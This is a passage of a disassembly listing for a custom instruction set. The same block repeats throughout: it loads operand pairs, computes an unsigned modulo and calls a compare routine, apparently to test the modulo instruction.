bc9c: 0d 60 02 03 wh16 r16,0x3
bca0: 10 40 02 10 ld32 r16,r16
bca4: 0d 46 0d 30 wl16 r9,0x3070
bca8: 0d 60 01 23 wh16 r9,0x3
bcac: 10 40 01 29 ld32 r9,r9
bcb0: 00 a0 01 10 umod r8,r16
bcb4: 20 70 03 e2 movepc rret,8
bcb8: 14 30 d0 d6 br 10 <compare>,#al
bcbc: 00 10 00 41 add r2,1
bcc0: 0d 41 cd 1c wl16 r8,0xe7c
bcc4: 0d 60 01 03 wh16 r8,0x3
bcc8: 10 40 01 08 ld32 r8,r8
bccc: 0d 43 ee 18 wl16 r16,0x1f78
bcd0: 0d 60 02 03 wh16 r16,0x3
bcd4: 10 40 02 10 ld32 r16,r16
bcd8: 0d 46 0d 34 wl16 r9,0x3074
bcdc: 0d 60 01 23 wh16 r9,0x3
bce0: 10 40 01 29 ld32 r9,r9
bce4: 00 a0 01 10 umod r8,r16
bce8: 20 70 03 e2 movepc rret,8
bcec: 14 30 d0 c9 br 10 <compare>,#al
bcf0: 00 10 00 41 add r2,1
bcf4: 0d 41 d1 00 wl16 r8,0xe80
bcf8: 0d 60 01 03 wh16 r8,0x3
bcfc: 10 40 01 08 ld32 r8,r8
bd00: 0d 43 ee 1c wl16 r16,0x1f7c
bd04: 0d 60 02 03 wh16 r16,0x3
bd08: 10 40 02 10 ld32 r16,r16
bd0c: 0d 46 0d 38 wl16 r9,0x3078
bd10: 0d 60 01 23 wh16 r9,0x3
bd14: 10 40 01 29 ld32 r9,r9
bd18: 00 a0 01 10 umod r8,r16
bd1c: 20 70 03 e2 movepc rret,8
bd20: 14 30 d0 bc br 10 <compare>,#al
bd24: 00 10 00 41 add r2,1
bd28: 0d 41 d1 04 wl16 r8,0xe84
bd2c: 0d 60 01 03 wh16 r8,0x3
bd30: 10 40 01 08 ld32 r8,r8
bd34: 0d 43 f2 00 wl16 r16,0x1f80
bd38: 0d 60 02 03 wh16 r16,0x3
bd3c: 10 40 02 10 ld32 r16,r16
bd40: 0d 46 0d 3c wl16 r9,0x307c
bd44: 0d 60 01 23 wh16 r9,0x3
bd48: 10 40 01 29 ld32 r9,r9
bd4c: 00 a0 01 10 umod r8,r16
bd50: 20 70 03 e2 movepc rret,8
bd54: 14 30 d0 af br 10 <compare>,#al
bd58: 00 10 00 41 add r2,1
bd5c: 0d 41 d1 08 wl16 r8,0xe88
bd60: 0d 60 01 03 wh16 r8,0x3
bd64: 10 40 01 08 ld32 r8,r8
bd68: 0d 43 f2 04 wl16 r16,0x1f84
bd6c: 0d 60 02 03 wh16 r16,0x3
bd70: 10 40 02 10 ld32 r16,r16
bd74: 0d 46 11 20 wl16 r9,0x3080
bd78: 0d 60 01 23 wh16 r9,0x3
bd7c: 10 40 01 29 ld32 r9,r9
bd80: 00 a0 01 10 umod r8,r16
bd84: 20 70 03 e2 movepc rret,8
bd88: 14 30 d0 a2 br 10 <compare>,#al
bd8c: 00 10 00 41 add r2,1
bd90: 0d 41 d1 0c wl16 r8,0xe8c
bd94: 0d 60 01 03 wh16 r8,0x3
bd98: 10 40 01 08 ld32 r8,r8
bd9c: 0d 43 f2 08 wl16 r16,0x1f88
bda0: 0d 60 02 03 wh16 r16,0x3
bda4: 10 40 02 10 ld32 r16,r16
bda8: 0d 46 11 24 wl16 r9,0x3084
bdac: 0d 60 01 23 wh16 r9,0x3
bdb0: 10 40 01 29 ld32 r9,r9
bdb4: 00 a0 01 10 umod r8,r16
bdb8: 20 70 03 e2 movepc rret,8
bdbc: 14 30 d0 95 br 10 <compare>,#al
bdc0: 00 10 00 41 add r2,1
bdc4: 0d 41 d1 10 wl16 r8,0xe90
bdc8: 0d 60 01 03 wh16 r8,0x3
bdcc: 10 40 01 08 ld32 r8,r8
bdd0: 0d 43 f2 0c wl16 r16,0x1f8c
bdd4: 0d 60 02 03 wh16 r16,0x3
bdd8: 10 40 02 10 ld32 r16,r16
bddc: 0d 46 11 28 wl16 r9,0x3088
bde0: 0d 60 01 23 wh16 r9,0x3
bde4: 10 40 01 29 ld32 r9,r9
bde8: 00 a0 01 10 umod r8,r16
bdec: 20 70 03 e2 movepc rret,8
bdf0: 14 30 d0 88 br 10 <compare>,#al
bdf4: 00 10 00 41 add r2,1
bdf8: 0d 41 d1 14 wl16 r8,0xe94
bdfc: 0d 60 01 03 wh16 r8,0x3
be00: 10 40 01 08 ld32 r8,r8
be04: 0d 43 f2 10 wl16 r16,0x1f90
be08: 0d 60 02 03 wh16 r16,0x3
be0c: 10 40 02 10 ld32 r16,r16
be10: 0d 46 11 2c wl16 r9,0x308c
be14: 0d 60 01 23 wh16 r9,0x3
be18: 10 40 01 29 ld32 r9,r9
be1c: 00 a0 01 10 umod r8,r16
be20: 20 70 03 e2 movepc rret,8
be24: 14 30 d0 7b br 10 <compare>,#al
be28: 00 10 00 41 add r2,1
be2c: 0d 41 d1 18 wl16 r8,0xe98
be30: 0d 60 01 03 wh16 r8,0x3
be34: 10 40 01 08 ld32 r8,r8
be38: 0d 43 f2 14 wl16 r16,0x1f94
be3c: 0d 60 02 03 wh16 r16,0x3
be40: 10 40 02 10 ld32 r16,r16
be44: 0d 46 11 30 wl16 r9,0x3090
be48: 0d 60 01 23 wh16 r9,0x3
be4c: 10 40 01 29 ld32 r9,r9
be50: 00 a0 01 10 umod r8,r16
be54: 20 70 03 e2 movepc rret,8
be58: 14 30 d0 6e br 10 <compare>,#al
be5c: 00 10 00 41 add r2,1
be60: 0d 41 d1 1c wl16 r8,0xe9c
be64: 0d 60 01 03 wh16 r8,0x3
be68: 10 40 01 08 ld32 r8,r8
be6c: 0d 43 f2 18 wl16 r16,0x1f98
be70: 0d 60 02 03 wh16 r16,0x3
be74: 10 40 02 10 ld32 r16,r16
be78: 0d 46 11 34 wl16 r9,0x3094
be7c: 0d 60 01 23 wh16 r9,0x3
be80: 10 40 01 29 ld32 r9,r9
be84: 00 a0 01 10 umod r8,r16
be88: 20 70 03 e2 movepc rret,8
be8c: 14 30 d0 61 br 10 <compare>,#al
be90: 00 10 00 41 add r2,1
be94: 0d 41 d5 00 wl16 r8,0xea0
be98: 0d 60 01 03 wh16 r8,0x3
be9c: 10 40 01 08 ld32 r8,r8
bea0: 0d 43 f2 1c wl16 r16,0x1f9c
bea4: 0d 60 02 03 wh16 r16,0x3
bea8: 10 40 02 10 ld32 r16,r16
beac: 0d 46 11 38 wl16 r9,0x3098
beb0: 0d 60 01 23 wh16 r9,0x3
beb4: 10 40 01 29 ld32 r9,r9
beb8: 00 a0 01 10 umod r8,r16
bebc: 20 70 03 e2 movepc rret,8
bec0: 14 30 d0 54 br 10 <compare>,#al
bec4: 00 10 00 41 add r2,1
bec8: 0d 41 d5 04 wl16 r8,0xea4
becc: 0d 60 01 03 wh16 r8,0x3
bed0: 10 40 01 08 ld32 r8,r8
bed4: 0d 43 f6 00 wl16 r16,0x1fa0
bed8: 0d 60 02 03 wh16 r16,0x3
bedc: 10 40 02 10 ld32 r16,r16
bee0: 0d 46 11 3c wl16 r9,0x309c
bee4: 0d 60 01 23 wh16 r9,0x3
bee8: 10 40 01 29 ld32 r9,r9
beec: 00 a0 01 10 umod r8,r16
bef0: 20 70 03 e2 movepc rret,8
bef4: 14 30 d0 47 br 10 <compare>,#al
bef8: 00 10 00 41 add r2,1
befc: 0d 41 d5 08 wl16 r8,0xea8
bf00: 0d 60 01 03 wh16 r8,0x3
bf04: 10 40 01 08 ld32 r8,r8
bf08: 0d 43 f6 04 wl16 r16,0x1fa4
bf0c: 0d 60 02 03 wh16 r16,0x3
bf10: 10 40 02 10 ld32 r16,r16
bf14: 0d 46 15 20 wl16 r9,0x30a0
bf18: 0d 60 01 23 wh16 r9,0x3
bf1c: 10 40 01 29 ld32 r9,r9
bf20: 00 a0 01 10 umod r8,r16
bf24: 20 70 03 e2 movepc rret,8
bf28: 14 30 d0 3a br 10 <compare>,#al
bf2c: 00 10 00 41 add r2,1
bf30: 0d 41 d5 0c wl16 r8,0xeac
bf34: 0d 60 01 03 wh16 r8,0x3
bf38: 10 40 01 08 ld32 r8,r8
bf3c: 0d 43 f6 08 wl16 r16,0x1fa8
bf40: 0d 60 02 03 wh16 r16,0x3
bf44: 10 40 02 10 ld32 r16,r16
bf48: 0d 46 15 24 wl16 r9,0x30a4
bf4c: 0d 60 01 23 wh16 r9,0x3
bf50: 10 40 01 29 ld32 r9,r9
bf54: 00 a0 01 10 umod r8,r16
bf58: 20 70 03 e2 movepc rret,8
bf5c: 14 30 d0 2d br 10 <compare>,#al
bf60: 00 10 00 41 add r2,1
bf64: 0d 41 d5 10 wl16 r8,0xeb0
bf68: 0d 60 01 03 wh16 r8,0x3
bf6c: 10 40 01 08 ld32 r8,r8
bf70: 0d 43 f6 0c wl16 r16,0x1fac
bf74: 0d 60 02 03 wh16 r16,0x3
bf78: 10 40 02 10 ld32 r16,r16
bf7c: 0d 46 15 28 wl16 r9,0x30a8
bf80: 0d 60 01 23 wh16 r9,0x3
bf84: 10 40 01 29 ld32 r9,r9
bf88: 00 a0 01 10 umod r8,r16
bf8c: 20 70 03 e2 movepc rret,8
bf90: 14 30 d0 20 br 10 <compare>,#al
bf94: 00 10 00 41 add r2,1
bf98: 0d 41 d5 14 wl16 r8,0xeb4
bf9c: 0d 60 01 03 wh16 r8,0x3
bfa0: 10 40 01 08 ld32 r8,r8
bfa4: 0d 43 f6 10 wl16 r16,0x1fb0
bfa8: 0d 60 02 03 wh16 r16,0x3
bfac: 10 40 02 10 ld32 r16,r16
bfb0: 0d 46 15 2c wl16 r9,0x30ac
bfb4: 0d 60 01 23 wh16 r9,0x3
bfb8: 10 40 01 29 ld32 r9,r9
bfbc: 00 a0 01 10 umod r8,r16
bfc0: 20 70 03 e2 movepc rret,8
bfc4: 14 30 d0 13 br 10 <compare>,#al
bfc8: 00 10 00 41 add r2,1
bfcc: 0d 41 d5 18 wl16 r8,0xeb8
bfd0: 0d 60 01 03 wh16 r8,0x3
bfd4: 10 40 01 08 ld32 r8,r8
bfd8: 0d 43 f6 14 wl16 r16,0x1fb4
bfdc: 0d 60 02 03 wh16 r16,0x3
bfe0: 10 40 02 10 ld32 r16,r16
bfe4: 0d 46 15 30 wl16 r9,0x30b0
bfe8: 0d 60 01 23 wh16 r9,0x3
bfec: 10 40 01 29 ld32 r9,r9
bff0: 00 a0 01 10 umod r8,r16
bff4: 20 70 03 e2 movepc rret,8
bff8: 14 30 d0 06 br 10 <compare>,#al
bffc: 00 10 00 41 add r2,1
c000: 0d 41 d5 1c wl16 r8,0xebc
c004: 0d 60 01 03 wh16 r8,0x3
c008: 10 40 01 08 ld32 r8,r8
c00c: 0d 43 f6 18 wl16 r16,0x1fb8
c010: 0d 60 02 03 wh16 r16,0x3
c014: 10 40 02 10 ld32 r16,r16
c018: 0d 46 15 34 wl16 r9,0x30b4
c01c: 0d 60 01 23 wh16 r9,0x3
c020: 10 40 01 29 ld32 r9,r9
c024: 00 a0 01 10 umod r8,r16
c028: 20 70 03 e2 movepc rret,8
c02c: 14 30 cf f9 br 10 <compare>,#al
c030: 00 10 00 41 add r2,1
c034: 0d 41 d9 00 wl16 r8,0xec0
c038: 0d 60 01 03 wh16 r8,0x3
c03c: 10 40 01 08 ld32 r8,r8
c040: 0d 43 f6 1c wl16 r16,0x1fbc
c044: 0d 60 02 03 wh16 r16,0x3
c048: 10 40 02 10 ld32 r16,r16
c04c: 0d 46 15 38 wl16 r9,0x30b8
c050: 0d 60 01 23 wh16 r9,0x3
c054: 10 40 01 29 ld32 r9,r9
c058: 00 a0 01 10 umod r8,r16
c05c: 20 70 03 e2 movepc rret,8
c060: 14 30 cf ec br 10 <compare>,#al
c064: 00 10 00 41 add r2,1
c068: 0d 41 d9 04 wl16 r8,0xec4
c06c: 0d 60 01 03 wh16 r8,0x3
c070: 10 40 01 08 ld32 r8,r8
c074: 0d 43 fa 00 wl16 r16,0x1fc0
c078: 0d 60 02 03 wh16 r16,0x3
c07c: 10 40 02 10 ld32 r16,r16
c080: 0d 46 15 3c wl16 r9,0x30bc
c084: 0d 60 01 23 wh16 r9,0x3
c088: 10 40 01 29 ld32 r9,r9
c08c: 00 a0 01 10 umod r8,r16
c090: 20 70 03 e2 movepc rret,8
c094: 14 30 cf df br 10 <compare>,#al
c098: 00 10 00 41 add r2,1
c09c: 0d 41 d9 08 wl16 r8,0xec8
c0a0: 0d 60 01 03 wh16 r8,0x3
c0a4: 10 40 01 08 ld32 r8,r8
c0a8: 0d 43 fa 04 wl16 r16,0x1fc4
c0ac: 0d 60 02 03 wh16 r16,0x3
c0b0: 10 40 02 10 ld32 r16,r16
c0b4: 0d 46 19 20 wl16 r9,0x30c0
c0b8: 0d 60 01 23 wh16 r9,0x3
c0bc: 10 40 01 29 ld32 r9,r9
c0c0: 00 a0 01 10 umod r8,r16
c0c4: 20 70 03 e2 movepc rret,8
c0c8: 14 30 cf d2 br 10 <compare>,#al
c0cc: 00 10 00 41 add r2,1
c0d0: 0d 41 d9 0c wl16 r8,0xecc
c0d4: 0d 60 01 03 wh16 r8,0x3
c0d8: 10 40 01 08 ld32 r8,r8
c0dc: 0d 43 fa 08 wl16 r16,0x1fc8
c0e0: 0d 60 02 03 wh16 r16,0x3
c0e4: 10 40 02 10 ld32 r16,r16
c0e8: 0d 46 19 24 wl16 r9,0x30c4
c0ec: 0d 60 01 23 wh16 r9,0x3
c0f0: 10 40 01 29 ld32 r9,r9
c0f4: 00 a0 01 10 umod r8,r16
c0f8: 20 70 03 e2 movepc rret,8
c0fc: 14 30 cf c5 br 10 <compare>,#al
c100: 00 10 00 41 add r2,1
c104: 0d 41 d9 10 wl16 r8,0xed0
c108: 0d 60 01 03 wh16 r8,0x3
c10c: 10 40 01 08 ld32 r8,r8
c110: 0d 43 fa 0c wl16 r16,0x1fcc
c114: 0d 60 02 03 wh16 r16,0x3
c118: 10 40 02 10 ld32 r16,r16
c11c: 0d 46 19 28 wl16 r9,0x30c8
c120: 0d 60 01 23 wh16 r9,0x3
c124: 10 40 01 29 ld32 r9,r9
c128: 00 a0 01 10 umod r8,r16
c12c: 20 70 03 e2 movepc rret,8
c130: 14 30 cf b8 br 10 <compare>,#al
c134: 00 10 00 41 add r2,1
c138: 0d 41 d9 14 wl16 r8,0xed4
c13c: 0d 60 01 03 wh16 r8,0x3
c140: 10 40 01 08 ld32 r8,r8
c144: 0d 43 fa 10 wl16 r16,0x1fd0
c148: 0d 60 02 03 wh16 r16,0x3
c14c: 10 40 02 10 ld32 r16,r16
c150: 0d 46 19 2c wl16 r9,0x30cc
c154: 0d 60 01 23 wh16 r9,0x3
c158: 10 40 01 29 ld32 r9,r9
c15c: 00 a0 01 10 umod r8,r16
c160: 20 70 03 e2 movepc rret,8
c164: 14 30 cf ab br 10 <compare>,#al
c168: 00 10 00 41 add r2,1
c16c: 0d 41 d9 18 wl16 r8,0xed8
c170: 0d 60 01 03 wh16 r8,0x3
c174: 10 40 01 08 ld32 r8,r8
c178: 0d 43 fa 14 wl16 r16,0x1fd4
c17c: 0d 60 02 03 wh16 r16,0x3
c180: 10 40 02 10 ld32 r16,r16
c184: 0d 46 19 30 wl16 r9,0x30d0
c188: 0d 60 01 23 wh16 r9,0x3
c18c: 10 40 01 29 ld32 r9,r9
c190: 00 a0 01 10 umod r8,r16
c194: 20 70 03 e2 movepc rret,8
c198: 14 30 cf 9e br 10 <compare>,#al
c19c: 00 10 00 41 add r2,1
c1a0: 0d 41 d9 1c wl16 r8,0xedc
c1a4: 0d 60 01 03 wh16 r8,0x3
c1a8: 10 40 01 08 ld32 r8,r8
c1ac: 0d 43 fa 18 wl16 r16,0x1fd8
c1b0: 0d 60 02 03 wh16 r16,0x3
c1b4: 10 40 02 10 ld32 r16,r16
c1b8: 0d 46 19 34 wl16 r9,0x30d4
c1bc: 0d 60 01 23 wh16 r9,0x3
c1c0: 10 40 01 29 ld32 r9,r9
c1c4: 00 a0 01 10 umod r8,r16
c1c8: 20 70 03 e2 movepc rret,8
c1cc: 14 30 cf 91 br 10 <compare>,#al
c1d0: 00 10 00 41 add r2,1
c1d4: 0d 41 dd 00 wl16 r8,0xee0
c1d8: 0d 60 01 03 wh16 r8,0x3
c1dc: 10 40 01 08 ld32 r8,r8
c1e0: 0d 43 fa 1c wl16 r16,0x1fdc
c1e4: 0d 60 02 03 wh16 r16,0x3
c1e8: 10 40 02 10 ld32 r16,r16
c1ec: 0d 46 19 38 wl16 r9,0x30d8
c1f0: 0d 60 01 23 wh16 r9,0x3
c1f4: 10 40 01 29 ld32 r9,r9
c1f8: 00 a0 01 10 umod r8,r16
c1fc: 20 70 03 e2 movepc rret,8
c200: 14 30 cf 84 br 10 <compare>,#al
c204: 00 10 00 41 add r2,1
c208: 0d 41 dd 04 wl16 r8,0xee4
c20c: 0d 60 01 03 wh16 r8,0x3
c210: 10 40 01 08 ld32 r8,r8
c214: 0d 43 fe 00 wl16 r16,0x1fe0
c218: 0d 60 02 03 wh16 r16,0x3
c21c: 10 40 02 10 ld32 r16,r16
c220: 0d 46 19 3c wl16 r9,0x30dc
c224: 0d 60 01 23 wh16 r9,0x3
c228: 10 40 01 29 ld32 r9,r9
c22c: 00 a0 01 10 umod r8,r16
c230: 20 70 03 e2 movepc rret,8
c234: 14 30 cf 77 br 10 <compare>,#al
c238: 00 10 00 41 add r2,1
c23c: 0d 41 dd 08 wl16 r8,0xee8
c240: 0d 60 01 03 wh16 r8,0x3
c244: 10 40 01 08 ld32 r8,r8
c248: 0d 43 fe 04 wl16 r16,0x1fe4
c24c: 0d 60 02 03 wh16 r16,0x3
c250: 10 40 02 10 ld32 r16,r16
c254: 0d 46 1d 20 wl16 r9,0x30e0
c258: 0d 60 01 23 wh16 r9,0x3
c25c: 10 40 01 29 ld32 r9,r9
c260: 00 a0 01 10 umod r8,r16
c264: 20 70 03 e2 movepc rret,8
c268: 14 30 cf 6a br 10 <compare>,#al
c26c: 00 10 00 41 add r2,1
c270: 0d 41 dd 0c wl16 r8,0xeec
c274: 0d 60 01 03 wh16 r8,0x3
c278: 10 40 01 08 ld32 r8,r8
c27c: 0d 43 fe 08 wl16 r16,0x1fe8
c280: 0d 60 02 03 wh16 r16,0x3
c284: 10 40 02 10 ld32 r16,r16
c288: 0d 46 1d 24 wl16 r9,0x30e4
c28c: 0d 60 01 23 wh16 r9,0x3
c290: 10 40 01 29 ld32 r9,r9
c294: 00 a0 01 10 umod r8,r16
c298: 20 70 03 e2 movepc rret,8
c29c: 14 30 cf 5d br 10 <compare>,#al
c2a0: 00 10 00 41 add r2,1
c2a4: 0d 41 dd 10 wl16 r8,0xef0
c2a8: 0d 60 01 03 wh16 r8,0x3
c2ac: 10 40 01 08 ld32 r8,r8
c2b0: 0d 43 fe 0c wl16 r16,0x1fec
c2b4: 0d 60 02 03 wh16 r16,0x3
c2b8: 10 40 02 10 ld32 r16,r16
c2bc: 0d 46 1d 28 wl16 r9,0x30e8
c2c0: 0d 60 01 23 wh16 r9,0x3
c2c4: 10 40 01 29 ld32 r9,r9
c2c8: 00 a0 01 10 umod r8,r16
c2cc: 20 70 03 e2 movepc rret,8
c2d0: 14 30 cf 50 br 10 <compare>,#al
c2d4: 00 10 00 41 add r2,1
c2d8: 0d 41 dd 14 wl16 r8,0xef4
c2dc: 0d 60 01 03 wh16 r8,0x3
c2e0: 10 40 01 08 ld32 r8,r8
c2e4: 0d 43 fe 10 wl16 r16,0x1ff0
c2e8: 0d 60 02 03 wh16 r16,0x3
c2ec: 10 40 02 10 ld32 r16,r16
c2f0: 0d 46 1d 2c wl16 r9,0x30ec
c2f4: 0d 60 01 23 wh16 r9,0x3
c2f8: 10 40 01 29 ld32 r9,r9
c2fc: 00 a0 01 10 umod r8,r16
c300: 20 70 03 e2 movepc rret,8
c304: 14 30 cf 43 br 10 <compare>,#al
c308: 00 10 00 41 add r2,1
c30c: 0d 41 dd 18 wl16 r8,0xef8
c310: 0d 60 01 03 wh16 r8,0x3
c314: 10 40 01 08 ld32 r8,r8
c318: 0d 43 fe 14 wl16 r16,0x1ff4
c31c: 0d 60 02 03 wh16 r16,0x3
c320: 10 40 02 10 ld32 r16,r16
c324: 0d 46 1d 30 wl16 r9,0x30f0
c328: 0d 60 01 23 wh16 r9,0x3
c32c: 10 40 01 29 ld32 r9,r9
c330: 00 a0 01 10 umod r8,r16
c334: 20 70 03 e2 movepc rret,8
c338: 14 30 cf 36 br 10 <compare>,#al
c33c: 00 10 00 41 add r2,1
c340: 0d 41 dd 1c wl16 r8,0xefc
c344: 0d 60 01 03 wh16 r8,0x3
c348: 10 40 01 08 ld32 r8,r8
c34c: 0d 43 fe 18 wl16 r16,0x1ff8
c350: 0d 60 02 03 wh16 r16,0x3
c354: 10 40 02 10 ld32 r16,r16
c358: 0d 46 1d 34 wl16 r9,0x30f4
c35c: 0d 60 01 23 wh16 r9,0x3
c360: 10 40 01 29 ld32 r9,r9
c364: 00 a0 01 10 umod r8,r16
c368: 20 70 03 e2 movepc rret,8
c36c: 14 30 cf 29 br 10 <compare>,#al
c370: 00 10 00 41 add r2,1
c374: 0d 41 e1 00 wl16 r8,0xf00
c378: 0d 60 01 03 wh16 r8,0x3
c37c: 10 40 01 08 ld32 r8,r8
c380: 0d 43 fe 1c wl16 r16,0x1ffc
c384: 0d 60 02 03 wh16 r16,0x3
c388: 10 40 02 10 ld32 r16,r16
c38c: 0d 46 1d 38 wl16 r9,0x30f8
c390: 0d 60 01 23 wh16 r9,0x3
c394: 10 40 01 29 ld32 r9,r9
c398: 00 a0 01 10 umod r8,r16
c39c: 20 70 03 e2 movepc rret,8
c3a0: 14 30 cf 1c br 10 <compare>,#al
c3a4: 00 10 00 41 add r2,1
c3a8: 0d 41 e1 04 wl16 r8,0xf04
c3ac: 0d 60 01 03 wh16 r8,0x3
c3b0: 10 40 01 08 ld32 r8,r8
c3b4: 0d 44 02 00 wl16 r16,0x2000
c3b8: 0d 60 02 03 wh16 r16,0x3
c3bc: 10 40 02 10 ld32 r16,r16
c3c0: 0d 46 1d 3c wl16 r9,0x30fc
c3c4: 0d 60 01 23 wh16 r9,0x3
c3c8: 10 40 01 29 ld32 r9,r9
c3cc: 00 a0 01 10 umod r8,r16
c3d0: 20 70 03 e2 movepc rret,8
c3d4: 14 30 cf 0f br 10 <compare>,#al
c3d8: 00 10 00 41 add r2,1
c3dc: 0d 41 e1 08 wl16 r8,0xf08
c3e0: 0d 60 01 03 wh16 r8,0x3
c3e4: 10 40 01 08 ld32 r8,r8
c3e8: 0d 44 02 04 wl16 r16,0x2004
c3ec: 0d 60 02 03 wh16 r16,0x3
c3f0: 10 40 02 10 ld32 r16,r16
c3f4: 0d 46 21 20 wl16 r9,0x3100
c3f8: 0d 60 01 23 wh16 r9,0x3
c3fc: 10 40 01 29 ld32 r9,r9
c400: 00 a0 01 10 umod r8,r16
c404: 20 70 03 e2 movepc rret,8
c408: 14 30 cf 02 br 10 <compare>,#al
c40c: 00 10 00 41 add r2,1
c410: 0d 41 e1 0c wl16 r8,0xf0c
c414: 0d 60 01 03 wh16 r8,0x3
c418: 10 40 01 08 ld32 r8,r8
c41c: 0d 44 02 08 wl16 r16,0x2008
c420: 0d 60 02 03 wh16 r16,0x3
c424: 10 40 02 10 ld32 r16,r16
c428: 0d 46 21 24 wl16 r9,0x3104
c42c: 0d 60 01 23 wh16 r9,0x3
c430: 10 40 01 29 ld32 r9,r9
c434: 00 a0 01 10 umod r8,r16
c438: 20 70 03 e2 movepc rret,8
c43c: 14 30 ce f5 br 10 <compare>,#al
c440: 00 10 00 41 add r2,1
c444: 0d 41 e1 10 wl16 r8,0xf10
c448: 0d 60 01 03 wh16 r8,0x3
c44c: 10 40 01 08 ld32 r8,r8
c450: 0d 44 02 0c wl16 r16,0x200c
c454: 0d 60 02 03 wh16 r16,0x3
c458: 10 40 02 10 ld32 r16,r16
c45c: 0d 46 21 28 wl16 r9,0x3108
c460: 0d 60 01 23 wh16 r9,0x3
c464: 10 40 01 29 ld32 r9,r9
c468: 00 a0 01 10 umod r8,r16
c46c: 20 70 03 e2 movepc rret,8
c470: 14 30 ce e8 br 10 <compare>,#al
c474: 00 10 00 41 add r2,1
c478: 0d 41 e1 14 wl16 r8,0xf14
c47c: 0d 60 01 03 wh16 r8,0x3
c480: 10 40 01 08 ld32 r8,r8
c484: 0d 44 02 10 wl16 r16,0x2010
c488: 0d 60 02 03 wh16 r16,0x3
c48c: 10 40 02 10 ld32 r16,r16
c490: 0d 46 21 2c wl16 r9,0x310c
c494: 0d 60 01 23 wh16 r9,0x3
c498: 10 40 01 29 ld32 r9,r9
c49c: 00 a0 01 10 umod r8,r16
c4a0: 20 70 03 e2 movepc rret,8
c4a4: 14 30 ce db br 10 <compare>,#al
c4a8: 00 10 00 41 add r2,1
c4ac: 0d 41 e1 18 wl16 r8,0xf18
c4b0: 0d 60 01 03 wh16 r8,0x3
c4b4: 10 40 01 08 ld32 r8,r8
c4b8: 0d 44 02 14 wl16 r16,0x2014
c4bc: 0d 60 02 03 wh16 r16,0x3
c4c0: 10 40 02 10 ld32 r16,r16
c4c4: 0d 46 21 30 wl16 r9,0x3110
c4c8: 0d 60 01 23 wh16 r9,0x3
c4cc: 10 40 01 29 ld32 r9,r9
c4d0: 00 a0 01 10 umod r8,r16
c4d4: 20 70 03 e2 movepc rret,8
c4d8: 14 30 ce ce br 10 <compare>,#al
c4dc: 00 10 00 41 add r2,1
c4e0: 0d 41 e1 1c wl16 r8,0xf1c
c4e4: 0d 60 01 03 wh16 r8,0x3
c4e8: 10 40 01 08 ld32 r8,r8
c4ec: 0d 44 02 18 wl16 r16,0x2018
c4f0: 0d 60 02 03 wh16 r16,0x3
c4f4: 10 40 02 10 ld32 r16,r16
c4f8: 0d 46 21 34 wl16 r9,0x3114
c4fc: 0d 60 01 23 wh16 r9,0x3
c500: 10 40 01 29 ld32 r9,r9
c504: 00 a0 01 10 umod r8,r16
c508: 20 70 03 e2 movepc rret,8
c50c: 14 30 ce c1 br 10 <compare>,#al
c510: 00 10 00 41 add r2,1
c514: 0d 41 e5 00 wl16 r8,0xf20
c518: 0d 60 01 03 wh16 r8,0x3
c51c: 10 40 01 08 ld32 r8,r8
c520: 0d 44 02 1c wl16 r16,0x201c
c524: 0d 60 02 03 wh16 r16,0x3
c528: 10 40 02 10 ld32 r16,r16
c52c: 0d 46 21 38 wl16 r9,0x3118
c530: 0d 60 01 23 wh16 r9,0x3
c534: 10 40 01 29 ld32 r9,r9
c538: 00 a0 01 10 umod r8,r16
c53c: 20 70 03 e2 movepc rret,8
c540: 14 30 ce b4 br 10 <compare>,#al
c544: 00 10 00 41 add r2,1
c548: 0d 41 e5 04 wl16 r8,0xf24
c54c: 0d 60 01 03 wh16 r8,0x3
c550: 10 40 01 08 ld32 r8,r8
c554: 0d 44 06 00 wl16 r16,0x2020
c558: 0d 60 02 03 wh16 r16,0x3
c55c: 10 40 02 10 ld32 r16,r16
c560: 0d 46 21 3c wl16 r9,0x311c
c564: 0d 60 01 23 wh16 r9,0x3
c568: 10 40 01 29 ld32 r9,r9
c56c: 00 a0 01 10 umod r8,r16
c570: 20 70 03 e2 movepc rret,8
c574: 14 30 ce a7 br 10 <compare>,#al
c578: 00 10 00 41 add r2,1
c57c: 0d 41 e5 08 wl16 r8,0xf28
c580: 0d 60 01 03 wh16 r8,0x3
c584: 10 40 01 08 ld32 r8,r8
c588: 0d 44 06 04 wl16 r16,0x2024
c58c: 0d 60 02 03 wh16 r16,0x3
c590: 10 40 02 10 ld32 r16,r16
c594: 0d 46 25 20 wl16 r9,0x3120
c598: 0d 60 01 23 wh16 r9,0x3
c59c: 10 40 01 29 ld32 r9,r9
c5a0: 00 a0 01 10 umod r8,r16
c5a4: 20 70 03 e2 movepc rret,8
c5a8: 14 30 ce 9a br 10 <compare>,#al
c5ac: 00 10 00 41 add r2,1
c5b0: 0d 41 e5 0c wl16 r8,0xf2c
c5b4: 0d 60 01 03 wh16 r8,0x3
c5b8: 10 40 01 08 ld32 r8,r8
c5bc: 0d 44 06 08 wl16 r16,0x2028
c5c0: 0d 60 02 03 wh16 r16,0x3
c5c4: 10 40 02 10 ld32 r16,r16
c5c8: 0d 46 25 24 wl16 r9,0x3124
c5cc: 0d 60 01 23 wh16 r9,0x3
c5d0: 10 40 01 29 ld32 r9,r9
c5d4: 00 a0 01 10 umod r8,r16
c5d8: 20 70 03 e2 movepc rret,8
c5dc: 14 30 ce 8d br 10 <compare>,#al
c5e0: 00 10 00 41 add r2,1
c5e4: 0d 41 e5 10 wl16 r8,0xf30
c5e8: 0d 60 01 03 wh16 r8,0x3
c5ec: 10 40 01 08 ld32 r8,r8
c5f0: 0d 44 06 0c wl16 r16,0x202c
c5f4: 0d 60 02 03 wh16 r16,0x3
c5f8: 10 40 02 10 ld32 r16,r16
c5fc: 0d 46 25 28 wl16 r9,0x3128
c600: 0d 60 01 23 wh16 r9,0x3
c604: 10 40 01 29 ld32 r9,r9
c608: 00 a0 01 10 umod r8,r16
c60c: 20 70 03 e2 movepc rret,8
c610: 14 30 ce 80 br 10 <compare>,#al
c614: 00 10 00 41 add r2,1
c618: 0d 41 e5 14 wl16 r8,0xf34
c61c: 0d 60 01 03 wh16 r8,0x3
c620: 10 40 01 08 ld32 r8,r8
c624: 0d 44 06 10 wl16 r16,0x2030
c628: 0d 60 02 03 wh16 r16,0x3
c62c: 10 40 02 10 ld32 r16,r16
c630: 0d 46 25 2c wl16 r9,0x312c
c634: 0d 60 01 23 wh16 r9,0x3
c638: 10 40 01 29 ld32 r9,r9
c63c: 00 a0 01 10 umod r8,r16
c640: 20 70 03 e2 movepc rret,8
c644: 14 30 ce 73 br 10 <compare>,#al
c648: 00 10 00 41 add r2,1
